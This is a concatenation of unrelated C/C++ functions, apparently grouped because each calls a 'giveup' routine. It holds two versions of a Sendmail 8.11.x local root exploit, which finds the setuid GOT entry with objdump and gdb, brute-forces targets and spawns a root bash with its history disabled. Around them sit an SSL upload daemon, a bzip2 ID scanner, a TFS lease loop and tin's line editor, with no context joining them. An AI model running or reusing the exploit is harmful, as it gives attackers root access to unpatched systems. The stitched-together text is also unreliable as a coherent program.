int main(int argc, char *argv[]) { char victim[256] = SM; char vict[256],gscr[256], path[256],d[256],buf[256]; struct stat st; FILE *f; struct target t[1024]; uint off,ep,l; int i,j,got,esp; int offset = -16384; int depth = 32; int brute = 0; if (!*argv) { dup2(2, 0); dup2(2, 1); setuid(0); setgid(0); kill(getppid(), SIGUSR1); printf( "------(*)>+== " "ENTERING ROOT SHELL" " ==+<(*)------" ); fflush(stdout); chdir("/"); setenv("PATH", "/bin:/usr/bin:/usr/local/bin:" "/sbin:/usr/sbin:/usr/local/sbin:" "/opt/bin:${PATH}",1); setenv("BASH_HISTORY", "/dev/null", 1); execl("/bin/bash", "-bash", NULL); } printf( " ------------------------------------------------\n" " Sendmail 8.11.x linux i386 exploit \n" " wroten by [email protected] [sd@ircnet], \n" " fixed by [email protected] \n" " ------------------------------------------------\n" " type \"%s -h\" to get help\n",argv[0] ); while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){ switch (i) { case 'd': if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1)) return use(argv[0]); break; case 'o': if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1)) return use(argv[0]); break; case 'v': if (!optarg) return use(argv[0]); strcpy(victim,optarg); break; case 't': if (!optarg) return use(argv[0]); strcpy(ourdir, optarg); break; case 'b': brute++; break; case 'h': default: return use(argv[0]); } } if (brute) printf( "[*] brute force " "to 20-30mins\n"); path[0] = 0; if (argv[0][0] != '/') { getcwd(path, 256); } sprintf(scode, "%s%s/%s", shellcode, path, argv[0]); esp = get_esp(); close(0); signal(SIGUSR1, sigusr); giveup(-1); printf( " [Victim=%s][Depth=%d][Offset=%d]\n" " [Temp=%s][Offset=%d][ESP=0x%08x]\n", victim, depth, offset, ourdir, esp ); stat(victim, &st); if ((st.st_mode & S_ISUID) == 0) { printf("[!] Error: %s doesn't have SUID mode\n", victim); } if (access(victim, R_OK + X_OK + F_OK) < 0) { printf("[!] Error: %s must exist, have mode +rx\n", victim); } if (mkdir(ourdir, 0777) < 0) { perror("[!] Error: creating temporary directory\n"); giveup(1); } //printf("[*] creating temp directory - %s\n", // ourdir); sprintf(buf, "%s -R %s | %s setuid", OBJDUMP, victim, GREP); f = popen(buf, "r"); if (fscanf(f, "%x", &got) != 1) { pclose(f); printf("[!] Error: cannot get " "setuid() GOT\n"); giveup(1); } pclose(f); printf("[*] --> Step 1. setuid() " "[got=0x%08x]\n", got); sprintf(vict, "%s/sm", ourdir); printf("[*] --> Step 2. copy " "[%s->%s]\n", victim, vict); fflush(stdout); sprintf(buf, "%s -f %s %s", COPYCMD, victim, vict); system(buf); if (access(vict,R_OK+X_OK+F_OK)<0){ printf( "[!] Error: copy victim to out temp\n"); giveup(1); } printf( "[*] --> Step 3. disassm our " "[%s]\n", vict); fflush(stdout); if (!brute) { sprintf(buf,DLINE,DLINEA); } else { sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA); } f = popen(buf, "r"); i = 0; while (fgets(buf,256,f)) { int k, dontadd=0; if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n", &ep,d,d,d,d,d,d,&off,d)==9){ for (k=0;k<i;k++){ if (t[k].off==off) dontadd++; } if (!dontadd) { t[i].off = off; t[i++].brk = ep; } } } pclose(f); sprintf(gscr, "%s/gdb", ourdir); off = 0; for (j=0; j < i; j++) { f = fopen(gscr, "w+"); if (!f) { printf("[!] Error: Cannot create gdb script\n"); giveup(1); } fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off); fclose(f); sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict); f = popen(buf, "r"); if (!f) { printf("[!] Error: Failed to spawn gdb!\n"); giveup(1); } while (1) { char buf[256]; char *p; t[j].vect = 0; p = fgets(buf, 256, f); if (!p) break; if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){ t[j].vect = l; off++; break; } } pclose(f); if (t[j].vect) { int pid; printf(" ++[%d/%d](%d%%) " "GOT=0x%08x,VECT=0x%08x," "OFF=%d\n", j, i, j*100/i, got, t[j].vect, offset); fflush(stdout); pid = fork(); if (pid == 0) { close(1); sploit(victim,got,t[j].vect,esp+offset); } wait(NULL); if (exploited) { wait(NULL); printf(" [-*-] We rule! BYE! [-*-]\n"); exit(0); } } } printf( "[!] ERROR: all targets failed," "probably not buggie\n"); giveup(1); }
// ssl host port url // ssl host port url file // ssl host port url key file // ssl host port url key file dir sec int main(int ac, char *av[]) { bool dbg; SSL_CTX *ctx; SSL *ssl; int n, sec, getLen, lenLen, fd, sd; DIR *dp; struct dirent *p; struct stat st; char get[1024], buf[4096], nm[4096], len[64]; if (dbg = strcmp(av[ac-1], "+") == 0) --ac; if (!(ac >= 4 && ac <= 6 || ac == 8)) giveup("host port url [[key] file] | host port url key file dir sec"); if (strlen(Get)+strlen(av[1])+strlen(av[2])+strlen(av[3]) >= sizeof(get)) giveup("Names too long"); getLen = sprintf(get, Get, av[3], av[1], av[2]); SSL_library_init(); SSL_load_error_strings(); if (!(ctx = SSL_CTX_new(SSLv23_client_method()))) { ERR_print_errors_fp(stderr); giveup("SSL init"); } SSL_CTX_set_cipher_list(ctx, Ciphers); ssl = SSL_new(ctx); if (ac <= 6) { if (sslConnect(ssl, av[1], av[2]) < 0) { ERR_print_errors_fp(stderr); giveup("Can't connect"); } if (SSL_write(ssl, get, getLen) < 0) { ERR_print_errors_fp(stderr); giveup("SSL GET"); } if (ac > 4) { if (*av[4] && !sslFile(ssl,av[4])) giveup(av[4]); if (ac > 5 && *av[5] && !sslFile(ssl,av[5])) giveup(av[5]); } while ((n = SSL_read(ssl, buf, sizeof(buf))) > 0) write(STDOUT_FILENO, buf, n); if (dbg) ERR_print_errors_fp(stderr); return 0; } if (!dbg) { signal(SIGCHLD,SIG_IGN); /* Prevent zombies */ if ((n = fork()) < 0) giveup("detach"); if (n) return 0; setsid(); } File = av[5]; Dir = av[6]; sec = atoi(av[7]); signal(SIGINT, doSigTerm); signal(SIGTERM, doSigTerm); signal(SIGPIPE, SIG_IGN); signal(SIGALRM, SIG_IGN); for (;;) { if (*File && (fd = open(File, O_RDWR)) >= 0) { if (fstat(fd,&st) < 0 || st.st_size == 0) close(fd); else { lockFile(fd); if (fstat(fd,&st) < 0 || (Size = st.st_size) == 0) giveup("Can't access"); lenLen = sprintf(len, "%ld\n", Size); if ((Data = malloc(Size)) == NULL) giveup("Can't alloc"); if (read(fd, Data, Size) != Size) giveup("Can't read"); Hot = YES; if (ftruncate(fd,0) < 0) giveup("Can't truncate"); close(fd); for (;;) { if ((sd = sslConnect(ssl, av[1], av[2])) >= 0) { alarm(420); if (SSL_write(ssl, get, getLen) == getLen && (!*av[4] || sslFile(ssl,av[4])) && // key SSL_write(ssl, len, lenLen) == lenLen && // length SSL_write(ssl, Data, Size) == Size && // data SSL_write(ssl, "T", 1) == 1 && // ack SSL_read(ssl, buf, 1) == 1 && buf[0] == 'T' ) { Hot = NO; alarm(0); sslClose(ssl,sd); break; } alarm(0); sslClose(ssl,sd); } if (dbg) ERR_print_errors_fp(stderr); sleep(sec); } free(Data); } } if (*Dir && (dp = opendir(Dir))) { while (p = readdir(dp)) { if (p->d_name[0] != '.') { snprintf(nm, sizeof(nm), "%s%s", Dir, p->d_name); if ((n = readlink(nm, buf, sizeof(buf))) > 0 && (sd = sslConnect(ssl, av[1], av[2])) >= 0 ) { if (SSL_write(ssl, get, getLen) == getLen && (!*av[4] || sslFile(ssl,av[4])) && // key SSL_write(ssl, buf, n) == n && // path SSL_write(ssl, "\n", 1) == 1 && // nl sslFile(ssl, nm) ) // file unlink(nm); sslClose(ssl,sd); } if (dbg) ERR_print_errors_fp(stderr); } } closedir(dp); } sleep(sec); } }
void sigusr(int i) { exploited++; giveup(-1); }
int main(int argc, char **argv) { int fin, res, id=0; off_t block_end, block_start, upto; id_info_t id_info; char *filename = NULL; char *type = NULL; int optindex=0; bz_info_t bfile; int verbose = 0; int optc; int result; struct option optvalues[] = { {"filename", 1, 0, 'f'}, {"type", 1, 0, 't'}, {"verbose", 0, 0, 'v'}, {"version", 0, 0, 'V'}, {NULL, 0, NULL, 0} }; while (1) { optc = getopt_long_only(argc,argv,"f:hvV", optvalues, &optindex); if (optc=='f') { filename=optarg; } else if (optc == 't') { type = optarg; } else if (optc == 'h') usage(NULL); else if (optc == 'v') verbose++; else if (optc == 'V') show_version(VERSION); else if (optc == -1) break; else usage("Unknown option or other error\n"); } if (! filename) { usage(NULL); } fin = open (filename, O_RDONLY); if (fin < 0) { fprintf(stderr,"Failed to open file %s for read\n", filename); exit(1); } bfile.file_size = get_file_size(fin); bfile.footer = init_footer(); bfile.marker = init_marker(); result = check_file_for_footer(fin, &bfile); if (result == -1) { bfile.position = bfile.file_size; } else { bfile.position = bfile.file_size - (off_t)11; /* size of footer, perhaps with 1 byte extra */ } bfile.position -=(off_t)6; /* size of marker */ bfile.initialized = 0; bfile.bytes_read = 0; /* start at end of file */ block_end = bfile.position; upto = block_end; block_start = (off_t)-1; id = 0; while (!id) { bfile.initialized = 0; init_decompress(&bfile); block_start = find_first_bz2_block_from_offset(&bfile, fin, block_end, BACKWARD); if (block_start <= (off_t) 0) giveup(fin); BZ2_bzDecompressEnd (&(bfile.strm)); res = get_last_id_after_offset(fin, &id_info, &bfile, upto, type, verbose); if (res > 0) { id = id_info.id; } else { upto = block_end; block_end = block_start - (off_t) 1; if (block_end <= (off_t) 0) giveup(fin); } BZ2_bzDecompressEnd (&(bfile.strm)); } if (!id) giveup(fin); fprintf(stdout, "%s_id:%d\n", type, id); close(fin); exit(0); }
void LeaseManager::run_lease(const int32_t who) { int ret = TFS_SUCCESS; int32_t SLEEP_TIME_US = 1 * 1000 * 1000; // 1 seconds DsRuntimeGlobalInformation& ds_info = DsRuntimeGlobalInformation::instance(); while (!ds_info.is_destroyed()) { if (lease_status_[who] == LEASE_APPLY) { TIMER_START(); update_stat(who); ret = apply(who); if (TFS_SUCCESS == ret) { lease_status_[who] = LEASE_RENEW; if (is_master(who)) { get_writable_block_manager().expire_all_blocks(); } } TIMER_END(); TBSYS_LOG(INFO, "apply lease from %s, who: %d, cost: %"PRI64_PREFIX"d, ret: %d", tbsys::CNetUtil::addrToString(ns_ip_port_[who]).c_str(), who, TIMER_DURATION(), ret); } if ((lease_status_[who] == LEASE_RENEW) && need_renew(Func::get_monotonic_time(), who)) { TIMER_START(); update_stat(who); // retry renew lease, if renew fail, switch to APPLY state for (int i = 0; i < lease_meta_[who].renew_retry_times_; i++) { ret = renew(lease_meta_[who].renew_retry_timeout_ * 1000, who); if (TFS_SUCCESS == ret || EIXT_SERVER_OBJECT_NOT_FOUND == ret || EXIT_LEASE_EXPIRED == ret) { break; } } if (TFS_SUCCESS == ret) { if (is_master(who)) { get_writable_block_manager().expire_update_blocks(); } } else { lease_status_[who] = LEASE_APPLY; } TIMER_END(); TBSYS_LOG(INFO, "renew lease from %s, who: %d, cost: %"PRI64_PREFIX"d, ret: %d", tbsys::CNetUtil::addrToString(ns_ip_port_[who]).c_str(), who, TIMER_DURATION(), ret); } usleep(SLEEP_TIME_US); } TIMER_START(); ret = giveup(who); TIMER_END(); TBSYS_LOG(INFO, "giveup lease from %s, who: %d, cost: %"PRI64_PREFIX"d, ret: %d", tbsys::CNetUtil::addrToString(ns_ip_port_[who]).c_str(), who, TIMER_DURATION(), ret); }
int main(int argc, char *argv[]) { char victim[256] = SM; char vict[256]; char gscr[256]; char path[256]; char d[256]; struct stat st; FILE *f; char buf[256]; int got; struct target t[1024]; uint off, ep, l; int i,j; int offset = -16384; int esp; int depth = 32; int brute = 0; /* rootshell (if argv[0] == NULL) */ if (!*argv) { /* open stdin and stdout */ dup2(2, 0); dup2(2, 1); setuid(0); /* regain root privs */ setgid(0); /* send signal to parent that exploit is done */ kill(getppid(), SIGUSR1); /* l-a-m-e ;) */ printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout); chdir("/"); system("/usr/bin/id"); setenv("BASH_HISTORY", "/dev/null", 1); execl("/bin/bash", "-bash", NULL); } printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by [email protected] [sd@ircnet], 2001 ]=-...\n" " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n"); while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) { switch (i) { case 'd': if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1)) return use(argv[0]); break; case 'o': if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1)) return use(argv[0]); break; case 'v': if (!optarg) return use(argv[0]); strcpy(victim, optarg); break; case 't': if (!optarg) return use(argv[0]); strcpy(ourdir, optarg); break; case 'b': brute++; break; case 'h': default: return use(argv[0]); } } if (brute) printf("[*] Using brute force, this may take some time\n"); /* create full path to rootshell, cause sendmail will change it's cwd */ path[0] = 0; if (argv[0][0] != '/') { getcwd(path, 256); } /* construct shellcode */ sprintf(scode, "%s%s/%s", shellcode, path, argv[0]); /* get stack frame */ esp = get_esp(); close(0); signal(SIGUSR1, sigusr); /* remove old stuff */ giveup(-1); printf( "[*] Victim = %s\n" "[*] Depth = %d\n" "[*] Offset = %d\n" "[*] Temp = %s\n" "[*] ESP = 0x%08x\n", victim, depth, offset, ourdir, esp); stat(victim, &st); if ((st.st_mode & S_ISUID) == 0) { printf("[-] Bad: %s isn't suid ;(\n", victim); } if (access(victim, R_OK + X_OK + F_OK) < 0) { printf("[-] Bad: We haven't access to %s !\n", victim); } if (mkdir(ourdir, 0777) < 0) { perror("[-] Can't create our tempdir!\n"); giveup(1); } printf("[+] Created %s\n", ourdir); sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim); f = popen(buf, "r"); if (fscanf(f, "%x", &got) != 1) { pclose(f); printf("[-] Cannot get setuid() GOT\n"); giveup(1); } /* get GOT */ pclose(f); printf("[+] Step 1. setuid() got = 0x%08x\n", got); sprintf(vict, "%s/sm", ourdir); printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout); sprintf(buf, "/bin/cp -f %s %s", victim, vict); system(buf); if (access(vict, R_OK + X_OK + F_OK) < 0) { perror("Failed"); giveup(1); } printf("OK\n"); /* disassemble & find targets*/ printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout); if (!brute) { sprintf(buf, DLINE, DLINEA); } else { sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA); } f = popen(buf, "r"); i = 0; while (fgets(buf, 256, f)) { int k, dontadd = 0; if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n", &ep, d, d, d, d, d, d, &off, d) == 9) { /* same value ? */ for (k=0; k < i; k++) { if (t[k].off == off) dontadd++; } /* new value ? */ if (!dontadd) { /* add it to table */ t[i].off = off; t[i++].brk = ep; } } } pclose(f); printf("OK, found %d targets\n", i); /* gdb every target and look for theyr VECT */ printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout); sprintf(gscr, "%s/gdb", ourdir); off = 0; for (j=0; j < i; j++) { /* create gdb script */ f = fopen(gscr, "w+"); if (!f) { printf("Cannot create gdb script\n"); giveup(1); } fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off); fclose(f); sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict); f = popen(buf, "r"); if (!f) { printf("Failed to spawn gdb!\n"); giveup(1); } /* scan gdb's output */ while (1) { char buf[256]; char *p; t[j].vect = 0; p = fgets(buf, 256, f); if (!p) break; if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) { t[j].vect = l; off++; break; } } pclose(f); if (t[j].vect) { int pid; printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset); fflush(stdout); pid = fork(); if (pid == 0) { close(1); sploit(victim, got, t[j].vect, esp + offset); } /* wait until sendmail finishes (expoit failed) or until SIGUSR arrives */ wait(NULL); /* exploited ?? */ if (exploited) { wait(NULL); /* kill zombie */ printf("Thanx for choosing sd's products ;)\n"); exit(0); } } } printf("[-] All targets failed, probably not vulnerable ;(\n"); giveup(1); }
char * tin_getline( const char *prompt, int number_only, /* 1=positive numbers only, 2=negative too */ const char *str, int max_chars, t_bool passwd, int which_hist) { int c, i, loc, tmp, gl_max; #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) wint_t wc; #else char *buf = gl_buf; #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ is_passwd = passwd; set_xclick_off(); if (prompt == NULL) prompt = ""; gl_buf[0] = 0; /* used as end of input indicator */ gl_fixup(-1, 0); /* this resets gl_fixup */ gl_width = cCOLS - strlen(prompt); gl_prompt = prompt; gl_pos = gl_cnt = 0; if (max_chars == 0) { if (number_only) gl_max = 6; else gl_max = BUF_SIZE; } else gl_max = max_chars; my_fputs(prompt, stdout); cursoron(); my_flush(); if (gl_in_hook) { loc = gl_in_hook(gl_buf); if (loc >= 0) gl_fixup(0, BUF_SIZE); } if (!cmd_line && gl_max == BUF_SIZE) CleartoEOLN(); #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) if (str != NULL) { wchar_t wbuf[LEN]; if (mbstowcs(wbuf, str, ARRAY_SIZE(wbuf) - 1) != (size_t) -1) { wbuf[ARRAY_SIZE(wbuf) - 1] = (wchar_t) '\0'; for (i = 0; wbuf[i]; i++) gl_addwchar(wbuf[i]); } } while ((wc = ReadWch()) != WEOF) { if ((gl_cnt < gl_max) && iswprint(wc)) { if (number_only) { if (iswdigit(wc)) { gl_addwchar(wc); /* Minus */ } else if (number_only == 2 && gl_pos == 0 && wc == (wint_t) '-') { gl_addwchar(wc); } else { ring_bell(); } } else gl_addwchar(wc); } else { c = (int) wc; switch (wc) { #else if (str != NULL) { for (i = 0; str[i]; i++) gl_addchar(str[i]); } while ((c = ReadCh()) != EOF) { c &= 0xff; if ((gl_cnt < gl_max) && my_isprint(c)) { if (number_only) { if (isdigit(c)) { gl_addchar(c); /* Minus */ } else if (number_only == 2 && gl_pos == 0 && c == '-') { gl_addchar(c); } else { ring_bell(); } } else gl_addchar(c); } else { switch (c) { #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ case ESC: /* abort */ #ifdef HAVE_KEY_PREFIX case KEY_PREFIX: #endif /* HAVE_KEY_PREFIX */ switch (get_arrow_key(c)) { case KEYMAP_UP: case KEYMAP_PAGE_UP: hist_prev(which_hist); break; case KEYMAP_PAGE_DOWN: case KEYMAP_DOWN: hist_next(which_hist); break; case KEYMAP_RIGHT: gl_fixup(-1, gl_pos + 1); break; case KEYMAP_LEFT: gl_fixup(-1, gl_pos - 1); break; case KEYMAP_HOME: gl_fixup(-1, 0); break; case KEYMAP_END: gl_fixup(-1, gl_cnt); break; case KEYMAP_DEL: gl_del(0); break; case KEYMAP_INS: #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) gl_addwchar((wint_t) ' '); #else gl_addchar(' '); #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ break; default: return (char *) 0; } break; case '\n': /* newline */ case '\r': gl_newline(which_hist); #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) wcstombs(buf, gl_buf, BUF_SIZE - 1); #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ return buf; case CTRL_A: gl_fixup(-1, 0); break; case CTRL_B: gl_fixup(-1, gl_pos - 1); break; case CTRL_D: if (gl_cnt == 0) { gl_buf[0] = 0; my_fputc('\n', stdout); #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) wcstombs(buf, gl_buf, BUF_SIZE - 1); #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ return buf; } else gl_del(0); break; case CTRL_E: gl_fixup(-1, gl_cnt); break; case CTRL_F: gl_fixup(-1, gl_pos + 1); break; case CTRL_H: case DEL: gl_del(-1); break; case TAB: if (gl_tab_hook) { tmp = gl_pos; loc = gl_tab_hook(gl_buf, strlen(gl_prompt), &tmp); if (loc >= 0 || tmp != gl_pos) gl_fixup(loc, tmp); } break; case CTRL_W: gl_kill_back_word(); break; case CTRL_U: gl_fixup(-1, 0); /* FALLTHROUGH */ case CTRL_K: gl_kill(); break; case CTRL_L: case CTRL_R: gl_redraw(); break; case CTRL_N: hist_next(which_hist); break; case CTRL_P: hist_prev(which_hist); break; default: ring_bell(); break; } } } #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) wcstombs(buf, gl_buf, BUF_SIZE - 1); #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ return buf; } /* * adds the character c to the input buffer at current location if * the character is in the allowed template of characters */ static void #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) gl_addwchar( wint_t wc) #else gl_addchar( int c) #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ { int i; /* * Crashing is always the worst solution IMHO. So as a quick hack, * ignore characters silently, if buffer is full. To allow a final * newline, leave space for one more character. Just a hack too. * This was the original code: * if (gl_cnt >= BUF_SIZE - 1) { error_message("tin_getline: input buffer overflow"); giveup(); } */ if (gl_cnt >= BUF_SIZE - 2) return; for (i = gl_cnt; i >= gl_pos; i--) gl_buf[i + 1] = gl_buf[i]; #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) gl_buf[gl_pos] = (wchar_t) wc; #else gl_buf[gl_pos] = c; #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ gl_fixup(gl_pos, gl_pos + 1); } /* * Cleans up entire line before returning to caller. A \n is appended. * If line longer than screen, we redraw starting at beginning */ static void gl_newline( int w) { int change = gl_cnt; int len = gl_cnt; int loc = gl_width - 5; /* shifts line back to start position */ if (gl_cnt >= BUF_SIZE - 1) { /* * Like above: avoid crashing if possible. gl_addchar() now * leaves one space left for the newline, so this part of the * code should never be reached. A proper implementation is * desirable though. */ error_message("tin_getline: input buffer overflow"); giveup(); } hist_add(w); /* only adds if nonblank */ if (gl_out_hook) { change = gl_out_hook(gl_buf); #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) len = wcslen(gl_buf); #else len = strlen(gl_buf); #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ } if (loc > len) loc = len; gl_fixup(change, loc); /* must do this before appending \n */ #if defined(MULTIBYTE_ABLE) && !defined(NO_LOCALE) gl_buf[len] = (wchar_t) '\0'; #else gl_buf[len] = '\0'; #endif /* MULTIBYTE_ABLE && !NO_LOCALE */ } /* * Delete a character. The loc variable can be: * -1 : delete character to left of cursor * 0 : delete character under cursor */ static void gl_del( int loc) { int i; if ((loc == -1 && gl_pos > 0) || (loc == 0 && gl_pos < gl_cnt)) { for (i = gl_pos + loc; i < gl_cnt; i++) gl_buf[i] = gl_buf[i + 1]; gl_fixup(gl_pos + loc, gl_pos + loc); } else ring_bell(); }